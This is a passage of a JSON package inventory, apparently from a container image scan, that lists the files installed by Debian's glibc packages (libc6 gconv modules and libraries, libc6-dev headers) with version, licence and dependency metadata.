"/usr/lib/x86_64-linux-gnu/gconv/DEC-MCS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-CA-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-S.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IS-FRISS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-PT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-US.so", "/usr/lib/x86_64-linux-gnu/gconv/ECMA-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP-MS.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-TW.so", "/usr/lib/x86_64-linux-gnu/gconv/GB18030.so", "/usr/lib/x86_64-linux-gnu/gconv/GBBIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/GBGBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-ACADEMY.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-PS.so", "/usr/lib/x86_64-linux-gnu/gconv/GOST_19768-74.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK-CCITT.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7-OLD.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-GREEK8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN9.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-THAI8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-TURKISH8.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM037.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM038.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1004.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008_420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1025.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1026.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1046.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1047.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1097.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1112.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1122.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1123.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1124.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1129.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1130.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1132.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1133.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1137.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1140.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1141.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1142.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1143.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1144.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1145.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1146.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1147.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1148.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1149.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1153.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1154.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1155.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1156.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1157.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1158.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1160.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1161.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1162.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1163.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1164.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1166.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1167.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM12712.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1364.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1371.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1388.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1390.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1399.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM16804.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM256.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM273.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM274.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM275.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM277.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM278.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM280.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM281.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM284.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM285.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM290.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM297.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM423.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM424.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM437.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4517.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4899.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4909.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4971.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM500.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM5347.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM803.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM850.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM851.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM852.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM855.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM856.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM857.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM858.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM860.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM861.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM862.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM863.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM864.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM865.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866NAV.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM868.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM869.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM870.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM871.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM874.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM875.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM880.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM891.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM901.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM902.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM903.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9030.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM904.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM905.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9066.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM918.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM921.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM922.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM930.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM932.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM933.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM935.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM937.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM939.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM943.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9448.so", "/usr/lib/x86_64-linux-gnu/gconv/IEC_P27-1.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-8.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS.so", "/usr/lib/x86_64-linux-gnu/gconv/ISIRI-3342.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-197.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-209.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO646.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-10.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-11.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-13.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-14.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-15.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-16.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-4.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-5.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-6.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-7.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9E.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_10367-BOX.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_11548-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_2033.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5428.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937.so", "/usr/lib/x86_64-linux-gnu/gconv/JOHAB.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI-8.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-R.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-RU.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-T.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-U.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK-1.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-CENTRALEUROPE.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-IS.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-SAMI.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/MACINTOSH.so", "/usr/lib/x86_64-linux-gnu/gconv/MIK.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-DANO.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-SEFI.so", "/usr/lib/x86_64-linux-gnu/gconv/PT154.so", "/usr/lib/x86_64-linux-gnu/gconv/RK1048.so", "/usr/lib/x86_64-linux-gnu/gconv/SAMI-WS2.so", "/usr/lib/x86_64-linux-gnu/gconv/SHIFT_JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/SJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/T.61.so", "/usr/lib/x86_64-linux-gnu/gconv/TCVN5712-1.so", "/usr/lib/x86_64-linux-gnu/gconv/TIS-620.so", "/usr/lib/x86_64-linux-gnu/gconv/TSCII.so", "/usr/lib/x86_64-linux-gnu/gconv/UHC.so", "/usr/lib/x86_64-linux-gnu/gconv/UNICODE.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-16.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-32.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-7.so", "/usr/lib/x86_64-linux-gnu/gconv/VISCII.so", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.d/gconv-modules-extra.conf", "/usr/lib/x86_64-linux-gnu/gconv/libCNS.so", "/usr/lib/x86_64-linux-gnu/gconv/libGB.so", "/usr/lib/x86_64-linux-gnu/gconv/libISOIR165.so", "/usr/lib/x86_64-linux-gnu/gconv/libJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/libJISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/libKSC.so", "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib/x86_64-linux-gnu/libBrokenLocale.so.1", "/usr/lib/x86_64-linux-gnu/libanl.so.1", "/usr/lib/x86_64-linux-gnu/libc.so.6", "/usr/lib/x86_64-linux-gnu/libc_malloc_debug.so.0", "/usr/lib/x86_64-linux-gnu/libdl.so.2", "/usr/lib/x86_64-linux-gnu/libm.so.6", "/usr/lib/x86_64-linux-gnu/libmemusage.so", "/usr/lib/x86_64-linux-gnu/libmvec.so.1", "/usr/lib/x86_64-linux-gnu/libnsl.so.1", "/usr/lib/x86_64-linux-gnu/libnss_compat.so.2", "/usr/lib/x86_64-linux-gnu/libnss_dns.so.2", "/usr/lib/x86_64-linux-gnu/libnss_files.so.2", "/usr/lib/x86_64-linux-gnu/libnss_hesiod.so.2", "/usr/lib/x86_64-linux-gnu/libpcprofile.so", "/usr/lib/x86_64-linux-gnu/libpthread.so.0", "/usr/lib/x86_64-linux-gnu/libresolv.so.2", "/usr/lib/x86_64-linux-gnu/librt.so.1", "/usr/lib/x86_64-linux-gnu/libthread_db.so.1", "/usr/lib/x86_64-linux-gnu/libutil.so.1", "/usr/share/doc/libc6/NEWS.Debian.gz", "/usr/share/doc/libc6/NEWS.gz", "/usr/share/doc/libc6/README.Debian.gz", "/usr/share/doc/libc6/README.hesiod.gz", "/usr/share/doc/libc6/changelog.Debian.gz", "/usr/share/doc/libc6/changelog.gz", "/usr/share/doc/libc6/copyright", "/usr/share/lintian/overrides/libc6" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6-dev@2.41-12+deb13u2", "Name": "libc6-dev", "Identifier": { "PURL": "pkg:deb/debian/libc6-dev@2.41-12%2Bdeb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "b20a4b898ca84984" }, "Version": "2.41", "Release": "12+deb13u2", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc-dev-bin@2.41-12+deb13u2", "libc6@2.41-12+deb13u2", "libcrypt-dev@1:4.4.38-1", "linux-libc-dev@6.12.74-2", "rpcsvc-proto@1.4.3-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/include/aio.h", "/usr/include/aliases.h", "/usr/include/alloca.h", "/usr/include/ar.h", "/usr/include/argp.h", "/usr/include/argz.h", "/usr/include/arpa/ftp.h", "/usr/include/arpa/inet.h", "/usr/include/arpa/nameser.h", "/usr/include/arpa/nameser_compat.h", "/usr/include/arpa/telnet.h", "/usr/include/arpa/tftp.h", "/usr/include/assert.h", "/usr/include/byteswap.h", "/usr/include/complex.h", "/usr/include/cpio.h", "/usr/include/ctype.h", "/usr/include/dirent.h", "/usr/include/dlfcn.h", "/usr/include/elf.h", "/usr/include/endian.h", "/usr/include/envz.h", "/usr/include/err.h", "/usr/include/errno.h", "/usr/include/error.h", "/usr/include/execinfo.h", "/usr/include/fcntl.h", "/usr/include/features-time64.h", "/usr/include/features.h", "/usr/include/fenv.h", "/usr/include/finclude/x86_64-linux-gnu/math-vector-fortran.h", "/usr/include/fmtmsg.h", "/usr/include/fnmatch.h", "/usr/include/fstab.h", "/usr/include/fts.h", "/usr/include/ftw.h", "/usr/include/gconv.h", "/usr/include/getopt.h", "/usr/include/glob.h", "/usr/include/gnu-versions.h", "/usr/include/grp.h", "/usr/include/gshadow.h", "/usr/include/iconv.h", "/usr/include/ifaddrs.h", "/usr/include/inttypes.h", "/usr/include/langinfo.h", "/usr/include/lastlog.h", "/usr/include/libgen.h", "/usr/include/libintl.h", "/usr/include/limits.h", "/usr/include/link.h", "/usr/include/locale.h", "/usr/include/malloc.h", "/usr/include/math.h", "/usr/include/mcheck.h", "/usr/include/memory.h", "/usr/include/mntent.h", "/usr/include/monetary.h", "/usr/include/mqueue.h", "/usr/include/net/ethernet.h", "/usr/include/net/if.h", "/usr/include/net/if_arp.h", "/usr/include/net/if_packet.h", "/usr/include/net/if_ppp.h", "/usr/include/net/if_shaper.h", "/usr/include/net/if_slip.h", "/usr/include/net/ppp-comp.h", "/usr/include/net/ppp_defs.h", "/usr/include/net/route.h", "/usr/include/netash/ash.h", "/usr/include/netatalk/at.h", "/usr/include/netax25/ax25.h", "/usr/include/netdb.h", "/usr/include/neteconet/ec.h", "/usr/include/netinet/ether.h", "/usr/include/netinet/icmp6.h", "/usr/include/netinet/if_ether.h", "/usr/include/netinet/if_fddi.h", "/usr/include/netinet/if_tr.h", "/usr/include/netinet/igmp.h", "/usr/include/netinet/in.h", "/usr/include/netinet/in_systm.h", "/usr/include/netinet/ip.h", "/usr/include/netinet/ip6.h", "/usr/include/netinet/ip_icmp.h", "/usr/include/netinet/tcp.h", "/usr/include/netinet/udp.h", "/usr/include/netipx/ipx.h", "/usr/include/netiucv/iucv.h", "/usr/include/netpacket/packet.h", "/usr/include/netrom/netrom.h", "/usr/include/netrose/rose.h", "/usr/include/nfs/nfs.h", "/usr/include/nl_types.h", "/usr/include/nss.h", "/usr/include/obstack.h", "/usr/include/paths.h", "/usr/include/poll.h", "/usr/include/printf.h", "/usr/include/proc_service.h", "/usr/include/protocols/routed.h", "/usr/include/protocols/rwhod.h", "/usr/include/protocols/talkd.h", "/usr/include/protocols/timed.h", "/usr/include/pthread.h", "/usr/include/pty.h", "/usr/include/pwd.h", "/usr/include/re_comp.h", "/usr/include/regex.h", "/usr/include/regexp.h", "/usr/include/resolv.h", "/usr/include/rpc/netdb.h", "/usr/include/sched.h", "/usr/include/scsi/scsi.h", "/usr/include/scsi/scsi_ioctl.h", "/usr/include/scsi/sg.h", "/usr/include/search.h", "/usr/include/semaphore.h", "/usr/include/setjmp.h", "/usr/include/sgtty.h", "/usr/include/shadow.h", "/usr/include/signal.h", "/usr/include/spawn.h", "/usr/include/stab.h", "/usr/include/stdbit.h", "/usr/include/stdc-predef.h", "/usr/include/stdint.h", "/usr/include/stdio.h", "/usr/include/stdio_ext.h", "/usr/include/stdlib.h", "/usr/include/string.h", "/usr/include/strings.h", "/usr/include/syscall.h", "/usr/include/sysexits.h", "/usr/include/syslog.h", "/usr/include/tar.h", "/usr/include/termio.h", "/usr/include/termios.h", "/usr/include/tgmath.h", "/usr/include/thread_db.h", "/usr/include/threads.h", "/usr/include/time.h", "/usr/include/ttyent.h", "/usr/include/uchar.h", "/usr/include/ucontext.h", "/usr/include/ulimit.h", "/usr/include/unistd.h", "/usr/include/utime.h", "/usr/include/utmp.h", "/usr/include/utmpx.h", "/usr/include/values.h", "/usr/include/wait.h", "/usr/include/wchar.h", "/usr/include/wctype.h", "/usr/include/wordexp.h", "/usr/include/x86_64-linux-gnu/a.out.h", "/usr/include/x86_64-linux-gnu/bits/a.out.h", "/usr/include/x86_64-linux-gnu/bits/argp-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/atomic_wide_counter.h", "/usr/include/x86_64-linux-gnu/bits/byteswap.h", "/usr/include/x86_64-linux-gnu/bits/cmathcalls.h", "/usr/include/x86_64-linux-gnu/bits/confname.h", "/usr/include/x86_64-linux-gnu/bits/cpu-set.h", "/usr/include/x86_64-linux-gnu/bits/dirent.h", "/usr/include/x86_64-linux-gnu/bits/dirent_ext.h", "/usr/include/x86_64-linux-gnu/bits/dl_find_object.h", "/usr/include/x86_64-linux-gnu/bits/dlfcn.h", "/usr/include/x86_64-linux-gnu/bits/elfclass.h", "/usr/include/x86_64-linux-gnu/bits/endian.h", "/usr/include/x86_64-linux-gnu/bits/endianness.h", "/usr/include/x86_64-linux-gnu/bits/environments.h", "/usr/include/x86_64-linux-gnu/bits/epoll.h", "/usr/include/x86_64-linux-gnu/bits/err-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/errno.h", "/usr/include/x86_64-linux-gnu/bits/error-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/error.h", "/usr/include/x86_64-linux-gnu/bits/eventfd.h", "/usr/include/x86_64-linux-gnu/bits/fcntl-linux.h", "/usr/include/x86_64-linux-gnu/bits/fcntl.h", "/usr/include/x86_64-linux-gnu/bits/fcntl2.h", "/usr/include/x86_64-linux-gnu/bits/fenv.h", "/usr/include/x86_64-linux-gnu/bits/floatn-common.h", "/usr/include/x86_64-linux-gnu/bits/floatn.h", "/usr/include/x86_64-linux-gnu/bits/flt-eval-method.h", "/usr/include/x86_64-linux-gnu/bits/fp-fast.h", "/usr/include/x86_64-linux-gnu/bits/fp-logb.h", "/usr/include/x86_64-linux-gnu/bits/getopt_core.h", "/usr/include/x86_64-linux-gnu/bits/getopt_ext.h", "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h", "/usr/include/x86_64-linux-gnu/bits/hwcap.h", "/usr/include/x86_64-linux-gnu/bits/in.h", "/usr/include/x86_64-linux-gnu/bits/indirect-return.h", "/usr/include/x86_64-linux-gnu/bits/initspin.h", "/usr/include/x86_64-linux-gnu/bits/inotify.h", "/usr/include/x86_64-linux-gnu/bits/ioctl-types.h", "/usr/include/x86_64-linux-gnu/bits/ioctls.h", "/usr/include/x86_64-linux-gnu/bits/ipc-perm.h", "/usr/include/x86_64-linux-gnu/bits/ipc.h", "/usr/include/x86_64-linux-gnu/bits/ipctypes.h", "/usr/include/x86_64-linux-gnu/bits/iscanonical.h", "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h", "/usr/include/x86_64-linux-gnu/bits/libm-simd-decl-stubs.h", "/usr/include/x86_64-linux-gnu/bits/link.h", "/usr/include/x86_64-linux-gnu/bits/link_lavcurrent.h", "/usr/include/x86_64-linux-gnu/bits/local_lim.h", "/usr/include/x86_64-linux-gnu/bits/locale.h", "/usr/include/x86_64-linux-gnu/bits/long-double.h", "/usr/include/x86_64-linux-gnu/bits/math-vector.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-macros.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-narrow.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls.h", "/usr/include/x86_64-linux-gnu/bits/mathdef.h", "/usr/include/x86_64-linux-gnu/bits/mman-linux.h", "/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h", "/usr/include/x86_64-linux-gnu/bits/mman-shared.h", "/usr/include/x86_64-linux-gnu/bits/mman.h", "/usr/include/x86_64-linux-gnu/bits/mman_ext.h", "/usr/include/x86_64-linux-gnu/bits/monetary-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/mqueue.h", "/usr/include/x86_64-linux-gnu/bits/mqueue2.h", "/usr/include/x86_64-linux-gnu/bits/msq.h", "/usr/include/x86_64-linux-gnu/bits/netdb.h", "/usr/include/x86_64-linux-gnu/bits/param.h", "/usr/include/x86_64-linux-gnu/bits/platform/features.h", "/usr/include/x86_64-linux-gnu/bits/platform/x86.h", "/usr/include/x86_64-linux-gnu/bits/poll.h", "/usr/include/x86_64-linux-gnu/bits/poll2.h", "/usr/include/x86_64-linux-gnu/bits/posix1_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix2_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix_opt.h", "/usr/include/x86_64-linux-gnu/bits/printf-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/procfs-extra.h", "/usr/include/x86_64-linux-gnu/bits/procfs-id.h", "/usr/include/x86_64-linux-gnu/bits/procfs-prregset.h", "/usr/include/x86_64-linux-gnu/bits/procfs.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min-dynamic.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h", "/usr/include/x86_64-linux-gnu/bits/ptrace-shared.h", "/usr/include/x86_64-linux-gnu/bits/resource.h", "/usr/include/x86_64-linux-gnu/bits/rseq.h", "/usr/include/x86_64-linux-gnu/bits/sched.h", "/usr/include/x86_64-linux-gnu/bits/select-decl.h", "/usr/include/x86_64-linux-gnu/bits/select.h", "/usr/include/x86_64-linux-gnu/bits/select2.h", "/usr/include/x86_64-linux-gnu/bits/sem.h", "/usr/include/x86_64-linux-gnu/bits/semaphore.h", "/usr/include/x86_64-linux-gnu/bits/setjmp.h", "/usr/include/x86_64-linux-gnu/bits/setjmp2.h", "/usr/include/x86_64-linux-gnu/bits/shm.h", "/usr/include/x86_64-linux-gnu/bits/shmlba.h", "/usr/include/x86_64-linux-gnu/bits/sigaction.h", "/usr/include/x86_64-linux-gnu/bits/sigcontext.h", "/usr/include/x86_64-linux-gnu/bits/sigevent-consts.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts.h", "/usr/include/x86_64-linux-gnu/bits/signal_ext.h", "/usr/include/x86_64-linux-gnu/bits/signalfd.h", "/usr/include/x86_64-linux-gnu/bits/signum-arch.h", "/usr/include/x86_64-linux-gnu/bits/signum-generic.h", "/usr/include/x86_64-linux-gnu/bits/sigstack.h", "/usr/include/x86_64-linux-gnu/bits/sigstksz.h", "/usr/include/x86_64-linux-gnu/bits/sigthread.h", "/usr/include/x86_64-linux-gnu/bits/sockaddr.h", "/usr/include/x86_64-linux-gnu/bits/socket-constants.h", "/usr/include/x86_64-linux-gnu/bits/socket.h", "/usr/include/x86_64-linux-gnu/bits/socket2.h", "/usr/include/x86_64-linux-gnu/bits/socket_type.h", "/usr/include/x86_64-linux-gnu/bits/spawn_ext.h", "/usr/include/x86_64-linux-gnu/bits/ss_flags.h", "/usr/include/x86_64-linux-gnu/bits/stab.def", "/usr/include/x86_64-linux-gnu/bits/stat.h", "/usr/include/x86_64-linux-gnu/bits/statfs.h", 